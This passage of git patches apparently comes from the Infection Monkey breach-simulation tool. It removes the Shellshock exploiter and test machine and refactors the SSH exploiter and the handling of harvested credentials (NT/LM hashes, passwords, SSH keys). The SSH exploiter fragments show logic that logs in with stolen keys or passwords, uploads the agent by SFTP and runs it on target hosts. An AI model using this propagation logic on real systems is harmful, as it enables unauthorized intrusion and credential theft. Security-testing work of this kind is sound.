-20,7 +20,6 @@ from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell from envs.monkey_zoo.blackbox.config_templates.powershell_credentials_reuse import ( PowerShellCredentialsReuse, ) -from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh @@ -200,9 +199,6 @@ class TestMonkeyBlackbox: def test_weblogic_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") - def test_shellshock_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellshock_exploiter") - def test_log4j_solr_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test( island_client, Log4jSolr, "Log4Shell_Solr_exploiter" diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 305d71658..3f787870d 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -12,7 +12,6 @@ from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell -from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh @@ -45,7 +44,6 @@ CONFIG_TEMPLATES = [ Mssql, Performance, PowerShell, - ShellShock, SmbMimikatz, SmbPth, Ssh, diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 682e82fcf..0381eae34 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -11,7 +11,6 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 3 Hadoop](#_Toc526517183)
    [Nr. 4 Elastic](#_Toc526517184)
    [Nr. 5 Elastic](#_Toc526517185)
    -[Nr. 8 Shellshock](#_Toc536021461)
    [Nr. 9 Tunneling M1](#_Toc536021462)
    [Nr. 10 Tunneling M2](#_Toc536021463)
    [Nr. 11 SSH key steal](#_Toc526517190)
    @@ -326,38 +325,6 @@ Update all requirements using deployment script:
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Nr. 8 Shellshock

    -

    (10.2.2.8)

    (Vulnerable)
    OS:Ubuntu 12.04 LTS x64
    Software:Apache2, bash 4.2.
    Default server’s port:80
    Scan results:Machine exploited using Shellshock exploiter
    Notes:Vulnerable app is under /cgi-bin/test.cgi
    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index a3e2bcb73..23632514a 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -15,11 +15,6 @@ data "google_compute_image" "elastic-5" { name = "elastic-5" project = local.monkeyzoo_project } - -data "google_compute_image" "shellshock-8" { - name = "shellshock-8" - project = local.monkeyzoo_project -} data "google_compute_image" "tunneling-9" { name = "tunneling-9" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index a53c59007..eff0a44e5 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -106,21 +106,6 @@ resource "google_compute_instance_from_template" "elastic-5" { } } -resource "google_compute_instance_from_template" "shellshock-8" { - name = "${local.resource_prefix}shellshock-8" - source_instance_template = local.default_ubuntu - boot_disk{ - initialize_params { - image = data.google_compute_image.shellshock-8.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.8" - } -} - resource "google_compute_instance_from_template" "tunneling-9" { name = "${local.resource_prefix}tunneling-9" source_instance_template = local.default_ubuntu From d8e203dd5052408c0b427ce372bc533f735ef9a3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 13:39:36 +0100 Subject: [PATCH 0517/1110] Project: Change readme and remove shellshock from vulture --- README.md | 2 +- vulture_allowlist.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index 6100219df..7342c49a7 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ The Infection Monkey uses the following techniques and exploits to propagate to * SSH * SMB * WMI - * Shellshock + * Log4Shell * Elastic Search (CVE-2015-1427) * Weblogic server * and more, see our [Documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/) for more information about our RCE exploiters. diff --git a/vulture_allowlist.py b/vulture_allowlist.py index dde79f032..655590dcf 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -57,7 +57,6 @@ password_restored # unused variable (monkey/monkey_island/cc/services/reporting SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30) SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32) -SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36) STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39) WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43) From e993998432ce24be4310c3041d4f16ae3944f0b8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 18:24:54 +0530 Subject: [PATCH 0518/1110] Agent: Make ExploiterResultData a dataclass instead of a named tuple and modify HostExploiter and the SSH exploiter accordingly --- .../infection_monkey/exploit/HostExploiter.py | 21 +---- monkey/infection_monkey/exploit/sshexec.py | 76 +++++++++---------- monkey/infection_monkey/i_puppet/i_puppet.py | 17 +++-- 3 files changed, 53 insertions(+), 61 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 7c3750b03..b74dc3871 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -85,14 +85,9 @@ class HostExploiter: return result def pre_exploit(self): - self.exploit_result = { - "exploitation_success": False, - "propagation_success": False, - "os": self.host.os.get("type"), - "info": self.exploit_info, - "attempts": self.exploit_attempts, - "error_message": "", - } + self.exploit_result = ExploiterResultData( + os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts + ) self.set_start_time() def post_exploit(self): @@ -115,13 +110,3 @@ class HostExploiter: """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - - def return_exploit_result_data(self) -> ExploiterResultData: - return ExploiterResultData( - self.exploit_result["exploitation_success"], - self.exploit_result["propagation_success"], - self.exploit_result["os"], - self.exploit_result["info"], - self.exploit_result["attempts"], - self.exploit_result["error_message"], - ) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 3fcf4605f..a8a585bed 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -111,22 +111,22 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - self.exploit_result["error_message"] = f"SSH port is closed on {self.host}, skipping" + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" - logger.info(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.info(self.exploit_result.error_message) + return self.exploit_result try: ssh = self.exploit_with_ssh_keys(port) - self.exploit_result["exploitation_success"] = True + self.exploit_result.exploitation_success = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) - self.exploit_result["exploitation_success"] = True + self.exploit_result.exploitation_success = True except FailedExploitationError: - self.exploit_result["error_message"] = "Exploiter SSHExploiter is giving up..." - logger.debug(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." + logger.debug(self.exploit_result.error_message) + return self.exploit_result if not self.host.os.get("type"): try: @@ -134,20 +134,20 @@ class SSHExploiter(HostExploiter): uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.host.os["type"] = "linux" - self.exploit_result["os"] = "linux" + self.exploit_result.os = "linux" else: - self.exploit_result["error_message"] = f"SSH Skipping unknown os: {uname_os}" + self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" if not uname_os: - logger.error(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.error(self.exploit_result.error_message) + return self.exploit_result except Exception as exc: - self.exploit_result[ - "error_message" - ] = f"Error running uname os command on victim {self.host}: ({exc})" + self.exploit_result.error_message = ( + f"Error running uname os command on victim {self.host}: ({exc})" + ) - logger.debug(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.debug(self.exploit_result.error_message) + return self.exploit_result if not self.host.os.get("machine"): try: @@ -156,20 +156,20 @@ class SSHExploiter(HostExploiter): if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: - self.exploit_result[ - "error_message" - ] = f"Error running uname machine command on victim {self.host}: ({exc})" - logger.error(self.exploit_result["error_message"]) + self.exploit_result.error_message = ( + f"Error running uname machine command on victim {self.host}: ({exc})" + ) + logger.error(self.exploit_result.error_message) src_path = get_target_monkey(self.host) if not src_path: - self.exploit_result[ - "error_message" - ] = f"Can't find suitable monkey executable for host {self.host}" + self.exploit_result.error_message = ( + f"Can't find suitable monkey executable for host {self.host}" + ) - logger.info(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.info(self.exploit_result.error_message) + return self.exploit_result try: ftp = ssh.open_sftp() @@ -193,10 +193,10 @@ class SSHExploiter(HostExploiter): ) ftp.close() except Exception as exc: - self.exploit_result[ - "error_message" - ] = f"Error uploading file into victim {self.host}: ({exc})" - logger.error(self.exploit_result["error_message"]) + self.exploit_result.error_message = ( + f"Error uploading file into victim {self.host}: ({exc})" + ) + logger.error(self.exploit_result.error_message) status = ScanStatus.SCANNED self.telemetry_messenger.send_telemetry( @@ -205,7 +205,7 @@ class SSHExploiter(HostExploiter): ) ) if status == ScanStatus.SCANNED: - return self.return_exploit_result_data() + return self.exploit_result try: cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) @@ -220,16 +220,16 @@ class SSHExploiter(HostExploiter): cmdline, ) - self.exploit_result["propagation_success"] = True + self.exploit_result.propagation_success = True ssh.close() self.add_executed_cmd(cmdline) - return self.return_exploit_result_data() + return self.exploit_result except Exception as exc: - self.exploit_result[ - "error_message" - ] = f"Error running monkey on victim {self.host}: ({exc})" + self.exploit_result.error_message = ( + f"Error running monkey on victim {self.host}: ({exc})" + ) - logger.error(self.exploit_result["error_message"]) - return self.return_exploit_result_data() + logger.error(self.exploit_result.error_message) + return self.exploit_result diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 78c0c9659..0a4cdd2dd 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -1,8 +1,9 @@ import abc import threading from collections import namedtuple +from dataclasses import dataclass from enum import Enum -from typing import Dict, List, Sequence +from typing import Dict, Iterable, List, Mapping, Sequence from . import Credentials, PluginType @@ -16,10 +17,16 @@ class UnknownPluginError(Exception): pass -ExploiterResultData = namedtuple( - "ExploiterResultData", - ["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"], -) +@dataclass +class ExploiterResultData: + exploitation_success: bool = False + propagation_success: bool = False + os: str = "" + info: Mapping = None + attempts: Iterable = None + error_message: str = "" + + PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) From dc4273f9708eb5ccf95b7597384cdd619d398863 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 08:15:27 -0500 Subject: [PATCH 0519/1110] Agent: Use Enum for credential_type instead of string (Enum.value) --- .../credential_collectors/credential_components/lm_hash.py | 2 +- .../credential_collectors/credential_components/nt_hash.py | 2 +- .../credential_collectors/credential_components/password.py | 2 +- .../credential_collectors/credential_components/ssh_keypair.py | 2 +- .../credential_collectors/credential_components/username.py | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index 1fef78437..5e89891ec 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -7,6 +7,6 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class LMHash(ICredentialComponent): credential_type: CredentialComponentType = field( - default=CredentialComponentType.LM_HASH.value, init=False + default=CredentialComponentType.LM_HASH, init=False ) lm_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index 07b9f859a..7e2328699 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -7,6 +7,6 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class NTHash(ICredentialComponent): credential_type: CredentialComponentType = field( - default=CredentialComponentType.NT_HASH.value, init=False + default=CredentialComponentType.NT_HASH, init=False ) nt_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index 3a05e3599..3601511af 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -7,6 +7,6 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class Password(ICredentialComponent): credential_type: CredentialComponentType = field( - default=CredentialComponentType.PASSWORD.value, init=False + default=CredentialComponentType.PASSWORD, init=False ) password: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index 6abd314bb..16b943ea6 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -7,7 +7,7 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class SSHKeypair(ICredentialComponent): credential_type: CredentialComponentType = field( - default=CredentialComponentType.SSH_KEYPAIR.value, init=False + default=CredentialComponentType.SSH_KEYPAIR, init=False ) private_key: str public_key: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 791dd6abe..e7d55aa6f 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -7,6 +7,6 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class Username(ICredentialComponent): credential_type: CredentialComponentType = field( - default=CredentialComponentType.USERNAME.value, init=False + default=CredentialComponentType.USERNAME, init=False ) username: str From 7c9c4cf9fb0dd49c735def42ee712de0164a7f96 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 08:44:02 -0500 Subject: [PATCH 0520/1110] Island: Compare Enums instead of strings in parse_credentials() --- .../processing/credentials/credentials_parser.py | 14 ++++++++------ .../credentials/test_credential_processing.py | 10 +++++----- 2 files changed, 13 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index 9c4661e1d..60264993d 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -11,19 +11,21 @@ from .secrets.password_processor import process_password logger = logging.getLogger(__name__) SECRET_PROCESSORS = { - CredentialComponentType.PASSWORD.value: process_password, - CredentialComponentType.NT_HASH.value: process_nt_hash, - CredentialComponentType.LM_HASH.value: process_lm_hash, + CredentialComponentType.PASSWORD: process_password, + CredentialComponentType.NT_HASH: process_nt_hash, + CredentialComponentType.LM_HASH: process_lm_hash, } IDENTITY_PROCESSORS = { - CredentialComponentType.USERNAME.value: process_username, + CredentialComponentType.USERNAME: process_username, } def parse_credentials(credentials: Mapping): for credential in credentials["data"]: for identity in credential["identities"]: - IDENTITY_PROCESSORS[identity["credential_type"]](identity) + credential_type = CredentialComponentType[identity["credential_type"]] + IDENTITY_PROCESSORS[credential_type](identity) for secret in credential["secrets"]: - SECRET_PROCESSORS[secret["credential_type"]](secret) + credential_type = CredentialComponentType[secret["credential_type"]] + SECRET_PROCESSORS[credential_type](secret) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py index 173b9662f..c39082e83 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py @@ -27,7 +27,7 @@ CREDENTIAL_TELEM_TEMPLATE = { fake_username = "m0nk3y_user" cred_telem_usernames = deepcopy(CREDENTIAL_TELEM_TEMPLATE) cred_telem_usernames["data"] = [ - {"identities": [{"username": fake_username, "credential_type": "username"}], "secrets": []} + {"identities": [{"username": fake_username, "credential_type": "USERNAME"}], "secrets": []} ] fake_nt_hash = "c1c58f96cdf212b50837bc11a00be47c" @@ -36,11 +36,11 @@ fake_password = "trytostealthis" cred_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) cred_telem["data"] = [ { - "identities": [{"username": fake_username, "credential_type": "username"}], + "identities": [{"username": fake_username, "credential_type": "USERNAME"}], "secrets": [ - {"nt_hash": fake_nt_hash, "credential_type": "nt_hash"}, - {"lm_hash": fake_lm_hash, "credential_type": "lm_hash"}, - {"password": fake_password, "credential_type": "password"}, + {"nt_hash": fake_nt_hash, "credential_type": "NT_HASH"}, + {"lm_hash": fake_lm_hash, "credential_type": "LM_HASH"}, + {"password": fake_password, "credential_type": "PASSWORD"}, ], } ] From 8e953359f867846edfd97273735ee0021f36c5d1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 08:44:41 -0500 Subject: [PATCH 0521/1110] Common: Use Enum.auto() for CredentialComponentType values --- .../common_consts/credential_component_type.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/common/common_consts/credential_component_type.py b/monkey/common/common_consts/credential_component_type.py index 76326e50e..25bd3a168 100644 --- a/monkey/common/common_consts/credential_component_type.py +++ b/monkey/common/common_consts/credential_component_type.py @@ -1,9 +1,9 @@ -from enum import Enum +from enum import Enum, auto class CredentialComponentType(Enum): - USERNAME = "username" - PASSWORD = "password" - NT_HASH = "nt_hash" - LM_HASH = "lm_hash" - SSH_KEYPAIR = "ssh_keypair" + USERNAME = auto() + PASSWORD = auto() + NT_HASH = auto() + LM_HASH = auto() + SSH_KEYPAIR = auto() From 8dedb7eac5aa2b8562cd17c2140d4c6470add0e9 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 22 Feb 2022 17:48:51 +0200 Subject: [PATCH 0522/1110] Island: Revert "Island: remove unfinished ssh key processor" This reverts commit 0cbfc79a923e202432f969d3592f4effa9b68348. --- .../credentials/secrets/ssh_key_processor.py | 42 +++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py new file mode 100644 index 000000000..b6b898fda --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py @@ -0,0 +1,42 @@ +from common.common_consts.credentials_type import CredentialComponentType +from monkey_island.cc.models import Monkey +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor +from monkey_island.cc.services.config import ConfigService + + +class SSHKeyProcessingError(ValueError): + def __init__(self, msg=""): + self.msg = f"Error while processing ssh keypair: {msg}" + super().__init__(self.msg) + + +def process_ssh_key(credentials: dict, monkey_guid: str): + if len(credentials["identities"]) != 1: + raise SSHKeyProcessingError( + f'SSH credentials have {len(credentials["identities"])}' f" users associated with it!" + ) + + for ssh_key in credentials["secrets"]: + if not ssh_key["credential_type"] == CredentialComponentType.SSH_KEYPAIR.value: + raise SSHKeyProcessingError("SSH credentials contain secrets that are not keypairs") + + if not ssh_key["public_key"] or not ssh_key["private_key"]: + raise SSHKeyProcessingError("Private or public key missing!") + + # TODO SSH key should be associated with IP that monkey exploited + ip = Monkey.get_single_monkey_by_guid(monkey_guid).ip_addresses[0] + username = credentials["identities"][0]["username"] + + encrypt_system_info_ssh_keys(ssh_key) + + ConfigService.ssh_add_keys( + user=username, + public_key=ssh_key["public_key"], + private_key=ssh_key["private_key"], + ip=ip, + ) + + +def encrypt_system_info_ssh_keys(ssh_key: dict): + for field in ["public_key", "private_key"]: + ssh_key[field] = get_datastore_encryptor().encrypt(ssh_key[field]) From 3ff9bbe327effee58051dae7c2c750871c7dbe1a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 10:13:08 +0200 Subject: [PATCH 0523/1110] UT: add a test for parsing username with special characters --- .../credentials/test_credential_processing.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py index c39082e83..87326d228 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py @@ -30,6 +30,15 @@ cred_telem_usernames["data"] = [ {"identities": [{"username": fake_username, "credential_type": "USERNAME"}], "secrets": []} ] +fake_special_username = "$m0nk3y.user" +cred_telem_special_usernames = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +cred_telem_special_usernames["data"] = [ + { + "identities": [{"username": fake_special_username, "credential_type": "username"}], + "secrets": [], + } +] + fake_nt_hash = "c1c58f96cdf212b50837bc11a00be47c" fake_lm_hash = "299BD128C1101FD6" fake_password = "trytostealthis" @@ -65,6 +74,13 @@ def test_cred_username_parsing(fake_mongo): assert fake_username in dpath.util.get(config, USER_LIST_PATH) +@pytest.mark.usefixtures("uses_database") +def test_cred_special_username_parsing(fake_mongo): + parse_credentials(cred_telem_special_usernames) + config = ConfigService.get_config(should_decrypt=True) + assert fake_special_username in dpath.util.get(config, USER_LIST_PATH) + + @pytest.mark.usefixtures("uses_database") def test_cred_telemetry_parsing(fake_mongo): parse_credentials(cred_telem) From 8dd033c212e70659a8505f83254be68bdcc88572 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 11:21:43 +0200 Subject: [PATCH 0524/1110] Island: refactor credential parser to use Credentials object --- .../processing/credentials/__init__.py | 1 + .../processing/credentials/credentials.py | 14 +++++++++++++ .../credentials/credentials_parser.py | 20 +++++++++++++------ .../identities/username_processor.py | 5 ++++- .../credentials/secrets/lm_hash_processor.py | 5 ++++- .../credentials/secrets/nt_hash_processor.py | 5 ++++- .../credentials/secrets/password_processor.py | 5 ++++- 7 files changed, 45 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py index e69de29bb..034f2e83b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py @@ -0,0 +1 @@ +from .credentials import Credentials diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py new file mode 100644 index 000000000..858f8e744 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py @@ -0,0 +1,14 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Sequence + + +@dataclass(frozen=True) +class Credentials: + identities: Sequence[dict] + secrets: Sequence[dict] + + @staticmethod + def from_dict(cred_dict: dict) -> Credentials: + return Credentials(identities=cred_dict["identities"], secrets=cred_dict["secrets"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index 60264993d..d595300fb 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -3,10 +3,12 @@ from typing import Mapping from common.common_consts.credential_component_type import CredentialComponentType +from .credentials import Credentials from .identities.username_processor import process_username from .secrets.lm_hash_processor import process_lm_hash from .secrets.nt_hash_processor import process_nt_hash from .secrets.password_processor import process_password +from .secrets.ssh_key_processor import process_ssh_key logger = logging.getLogger(__name__) @@ -14,6 +16,7 @@ SECRET_PROCESSORS = { CredentialComponentType.PASSWORD: process_password, CredentialComponentType.NT_HASH: process_nt_hash, CredentialComponentType.LM_HASH: process_lm_hash, + CredentialComponentType.SSH_KEYPAIR: process_ssh_key, } IDENTITY_PROCESSORS = { @@ -21,11 +24,16 @@ IDENTITY_PROCESSORS = { } -def parse_credentials(credentials: Mapping): - for credential in credentials["data"]: - for identity in credential["identities"]: +def parse_credentials(credentials_dict: Mapping): + credentials = [ + Credentials(credential["identities"], credential["secrets"]) + for credential in credentials_dict["data"] + ] + + for credential in credentials: + for identity in credential.identities: credential_type = CredentialComponentType[identity["credential_type"]] - IDENTITY_PROCESSORS[credential_type](identity) - for secret in credential["secrets"]: + IDENTITY_PROCESSORS[credential_type](identity, credential) + for secret in credential.secrets: credential_type = CredentialComponentType[secret["credential_type"]] - SECRET_PROCESSORS[credential_type](secret) + SECRET_PROCESSORS[credential_type](secret, credential) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py index 79b09901b..1b2febdb9 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py @@ -1,5 +1,8 @@ +from typing import Mapping + from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials -def process_username(username: dict): +def process_username(username: Mapping, _: Credentials): ConfigService.creds_add_username(username["username"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py index 7c5d5f3fa..4939c81bf 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py @@ -1,5 +1,8 @@ +from typing import Mapping + from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials -def process_lm_hash(lm_hash: dict): +def process_lm_hash(lm_hash: Mapping, _: Credentials): ConfigService.creds_add_lm_hash(lm_hash["lm_hash"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py index e29e2eef0..82f82af89 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py @@ -1,5 +1,8 @@ +from typing import Mapping + from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials -def process_nt_hash(nt_hash: dict): +def process_nt_hash(nt_hash: Mapping, _: Credentials): ConfigService.creds_add_ntlm_hash(nt_hash["nt_hash"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py index 6d3331db6..6df5a33ce 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py @@ -1,5 +1,8 @@ +from typing import Mapping + from monkey_island.cc.services.config import ConfigService +from 